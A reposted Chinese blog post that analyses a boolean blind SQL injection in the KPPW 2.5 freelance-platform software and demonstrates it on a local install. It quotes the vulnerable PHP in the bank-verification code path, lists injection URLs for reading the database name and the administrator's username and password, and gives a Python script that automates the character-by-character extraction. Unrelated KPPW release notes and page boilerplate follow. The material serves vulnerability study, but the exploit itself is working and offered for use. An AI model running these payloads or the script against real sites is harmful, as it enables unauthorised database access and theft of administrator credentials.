KPPW2.5 漏洞利用--SQL注入

本文分析了KPPW2.5版本中存在的SQL注入漏洞,并通过布尔型盲注的方式展示了如何利用该漏洞获取数据库信息及后台管理员账号密码。

KPPW2.5 漏洞利用--SQL注入

SQL注入--布尔型盲注

 

 

环境搭建

1,集成环境简单方便,如wamp,phpstudy....

2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面

3,安装,访问(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/install/index.php),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。

 

 

 

上述,漏洞复现平台搭建成功。

首页(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php)。

 

 

 

漏洞分析

/control/user/account_auth.php文件

$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
    $code or $code = $keys ['0']; 
    $code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
    $auth_class = "keke_auth_" . $code . "_class";
    $objAuth = new $auth_class ( $code ); 
    $auth_item = $arrAllAuthItems [$code]; 
    $auth_dir = $auth_item ['auth_dir']; 
    $arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid ); 
    require S_ROOT . "/auth/$code/control/index.php";
    require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
    die;
} else {
    $real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
    $arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
    $arrUserAuthInfo = $arrHasAuthItem ['info'];
}

仔细看看这里的:

$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );

这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info

/lib/sys/keke_auth_base_class.php:

public function get_user_auth_info($uid,$is_username=0,$show_id=''){
        $sql="select * from ".TABLEPRE.$this->_auth_table_name;
        if($uid){
            $is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
            $show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
            $sql .=" order by $this->_primary_key desc";
            $data = db_factory::query($sql);
            if(sizeof($data)==1){
                return $data[0];
            }else{
                return $data;
            }
        }else{
            return array();
        }

接收到的变量$intBankAid——$show_id,然后$show_id进入$sql 整个过程中变量$intBankAid未过滤,

最后进入$sql进入数据库,导致sql注入漏洞。

 

 

 

漏洞利用

准备:注册个账号登陆上去,绑定银行卡,进入银行认证的环节,也就是存在SQL注入的页面(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147)。

首先用 and 1=1 和 and 1=2 判断

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1

 

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2

 

接下来就进行布尔盲注。

判断数据库长度:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select (length(database())))=6--+-

 

查看数据库名字:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select ascii(substr(database(),1,1)))=107--+-

 

 查看后台管理员账号:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),1,1))=97--+

 

查看后台管理员密码:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),1,1))=102--+

 

上面写了个简单的python小脚本

#coding=utf-8
#by orange
import requests
import string
database_length=0
database_name=''
username=''
houtai_name=''
houtai_pass=''
url="http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
headers={
    'Cookie':'PHPSESSID=qugpfg8d0bclq4k2mhm57f9426'
}
'''
数据库长度
print("数据库长度")
for i in range(1,10):
    payload=" and (select (length(database())))=%d--+-" % i
    length=requests.get(url+payload,headers=headers)
    print("正在测试......")
    print i
    if "622***018" in length.text:
        print("数据库长度:")
        print i
        database_length=i
        break
'''
'''
print("数据库名字")
for i in range(1,7):
    for j in range(1,123):
        payload = " and (select ascii(substr(database(),%d,1))) = %d--+-"%(i,j)
        database_name1 = requests.get(url+payload,headers=headers)
        if "622***018" in database_name1.text:
            database_name+=chr(j)
            print i
            print database_name
            break
'''
'''
print("后台账号:")
for i in range(1,6):
    for j in range(97,123):
        payload = " and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
        houtai_name1 = requests.get(url+payload,headers=headers)
        if "622***018" in houtai_name1.text:
            houtai_name+=chr(j)
            print i
            print houtai_name
            break
'''    
'''    
print("后台密码:")
for i in range(1,33):
    for j in range(33,123):
        payload = " and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
        houtai_pass1 = requests.get(url+payload,headers=headers)
        if "622***018" in houtai_pass1.text:
            houtai_pass+=chr(j)
            print i
            print houtai_pass
            break    
'''
            

 

注入部分截图:

 

 

 

源码链接(链接: https://pan.baidu.com/s/1ggwXqBD 密码: 3ndt)

本文链接(http://www.cnblogs.com/Oran9e/p/8261750.html),转载请注明。

任重而道远!

 

转载于:https://www.cnblogs.com/Oran9e/p/8261750.html

KPPW是客客团队主打的开源威客系统,同类开源建站产品的领跑者!2014年6月18日KPPW2.5正式版发布了,新版借助客客团队近4年来威客行业的开源产品和商业项目的成熟经验,对前端功能进行了深入改进。KPPW从产品规划、UI设计、程序开发多个环节进行了优化,在未做框架重构情况下对程序进行更优秀的改进。 正式版功能改进: [新增]雇佣功能 [新增]速配任务模型 [改造]服务购买流程改造,并和雇佣流程结合 [改造]增值工具显示位置,控制只能即时购买使用 [改造]服务商列表只对发布过服务的服务商进行展示 [修复]任务发布预算提示重复问题 [修复]单人互评评分与星星显示问题 [修复]QQaouth登陆跳转问题 [修复]服务审核失败用户中心状态显示问题 [修复]在后台支付接口新增银行信息后,前台显示问题 [修复]雇佣任务维权,后台查看订单详情链接报错 [修复]速配任务后台删除功能问题 [修复]速配任务维权后,操作失败问题 [修复]速配任务的隐藏交稿功能 [修复]速配任务罚款完毕,进入详细页报错问题 [修复]举报商品和服务,上传附件后,后台显示问题 [修复]雇佣任务进行互评不显示任务名称 [修复]雇佣任务买家下单后,卖家显示状态错误 [修复]雇佣任务付款后,订单页面关闭 [修复]服务过期下架,服务变成审核状态,审核通过后瞬间下架 [修复]后台的服务管理和作品管理处点搜索回到首页 [修复]订金招标结束后,好评的花朵图标未显示 [修复]发布0元任务,后台显示未付款 [修复]商品和服务下架,用户中心依旧有增值工具按钮 [修复]单人悬赏任务自动选稿,首页中标动态显示中标金额错误 [修复]后台企业认证审核通过后跳到实名认证的列表 [修复]后台添加线下支付接口,填写的账号信息都没保存 [修复]提现,第三方交易处,显示所有开启的第三方交易平台问题 KPPW2.5版本特色 一、代码优化更规范 新版本对程序核心类文件进行梳理,移除旧版的冗余文件。按照全新编码标准对控制层和视图层进行重构,并重写KPPW前端和用户中心的代码。增强了代码的可读性和可维护性,框架干净清晰,让新版程序二次开发变得更容易。 二、 程序框架更安全 新版本开发前全面检查并主动收集信息,优化改进了前期的反馈的所有系统漏洞。程序优化APC和Mem缓存机制,对可扩展Minify技术对Javascript和CSS文件进行合并、压缩以及缓存,使系统程序运行速度和可靠性大幅增强。 三、 用户交互更成熟 新版本对前端交互动作大量重新定义,结合早期版本的沉淀和威客交易平台商业定制开发的成熟体验。将大量用户操作功能、交易状态提醒以及信息文本提示进行了新的定义,符合威客用户使用习惯,让您的网站能直接和主流威客网站的用户体验保持同一水平。 四、 界面设计更简洁 前端网页重新包装设计风格更加扁平化,并采用响应式网页设计思路,支持多个浏览器设备的完美访问效果。网页制作上采用了优秀的开源前端框架Bootstrap,使前端模版制作的灵活性大幅度提高,使用起来更简单,凡是会Bootstrap,就能轻松制作KPPW模版。 五、 产品功能更实用 KPPW是解决威客在线交易模式系统,吸收大量站长建议后对产品做了不少减法。去掉前端广场和后台的应用功能,改进开发了推广、用户中心、用户空间的产品功能,并加强了交易流程的仲裁结果用户管理功能。新版强化在线服务交易核心功能,保有部分内容CMS信息和用户体系社交,可以更好的与其他类型产品结构进行整合。 六、后台管理更方便 梳理并规范了后台的管理操作功能,加强了用户管理、行业分类、任务交易控制管理等功能。并在站长运营常见问题上增加了反馈链接,促进站长交流。 七、运营SEO更稳定 伪静态规则做了全面调整,能适应于各种服务器运行环境下的稳定运行。新版同时增强了任务、商品、资讯信息的SEO规则设置和关键词的描点链接等功能,让您的网站尽快得到搜索引擎的收录。 八、增值功能更丰富 丰富KPPW产品线提供尊享运营模式,KPPW为商业客户量身定制了适应于各行业在线服务交易的解决方案,如增值工具,多地区版,IM工具,微信解决方案,Android、IOS客户端等功能,未来KPPW也会拓展更多的商业产品来完善您的站点。
2013年12月12KPPW进行了小版本升级,目前最新版本号为:KPPW2.2.2。新版是对KPPW2.2.1版本的改进完善,在吸取大量用户的建议后对诸多操作细节进行了修复和更新(详见列表),旧版本可以直接使用更新包升级。KPPW2.2.2在产品上最大的调整是对用户店铺空间模块重新定义,新版本摒弃了老版本采用的用户身份决定个人店铺和企业店铺的思路,改为用户统一默认店铺空间,此举将使KPPW的站长在拓展开发店铺模板和店铺收费体系上变得方便灵活。 KPPW v2.2.2更新记录: 1.修改普通招标模型下,有中标的任务,但"所有稿件[1]中标稿件[0]淘汰稿件[0]我的稿"里面中标稿件显示0 2.修改任务详细页右栏显示的"好评率"不是雇主身份时的好评率,而是作为威客身份时的好评率 3.修改后台给管理员组添加用户管理的权限,其他管理员进后台任然没有用户管理的权限,全局配置也打不开 4.修改站内信中心未做用户识别校验,导致根据URL猜测,可以查看他人的站内信 5.修改新注册的用户企业认证通过后在服务商页面点企业用户搜索搜不到 6.修改首页的任务模块,发布一个任务,不需要审核的,在首页的任务模块没有显示 7.修改前台发威客服务,《服务出售协议》没有地方显示 8.修改店铺没有收藏功能,但个人中心还有店铺收藏列表 9.修改个人中心添加案例界面填写的案例描述在对应的个人店铺案例列表不显示 10.修改发布任务编辑器无法上传图片,后台定金招标的编辑器无法上传图片 11.修改后台文章编辑上传封面时的"上传"按钮的JS函数书写不规范 12.修改商铺页面看不到用户的名字,必须点击头像进去才能看到,这样很不方便找人 13.修改设置管理员用户组为可以查看用户管理,管理员登陆却没有权限 14.修改后台添加菜单的链接或友情链接会屏蔽"base"这个单词 15.修改商品详细页"更多作品"与"您可能感兴趣的同类商品"里面显示缩略图清晰度有问题 16.修改发布任务是购买地图工具,此定位不准确,无法定位到具体的位置 17.修改系统内部私人发的站内信没有回复按钮 18.修改充值时充值界面跳转,弹出窗口被浏览器阻止 19.修改用paypal第三方充值,无论系统设置的货币是什么,跳转到paypal的充值界面时都变成港币 20.修改关于在用户中心删除等操作没有权限控制的问题 21.修改网站打开伪静态后,单人悬赏在文件交付时没有办法下载 22.修改后台多处编辑带有链接的文本提交出错,屏蔽了embed、player单词 23.修改服务承诺完成时间,威客发布时有填写服务完成时间,威客工作时,增加完成时间倒计时,并在工作作时间过期时自动关闭订单 24.修改UTF8版的系统后台无法用带有汉字的账号登陆 25.修改多人悬赏中一个用户在同一个多人悬赏任务下面提交多个稿件并中标结算后,后台用户流水里面,该用户的总金额第一次打款后,就一直没有变动,但用户的总金额其实是对的。 26.修改管理员在后台确认购买商品订单的时候报错 27.修改进入威客商城的页面,直接选择相应的地区,然后搜索跳转到任务大厅的界面 28.修改银行认证新增账户页面,添加"开户行名称" 29.新增支付宝双功能接口,个人站长可以采用双功能接口 30.修改短信接口屏蔽网站中发送手机短信功能 31.修改用户第三方登录时未绑定账号提示信息
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值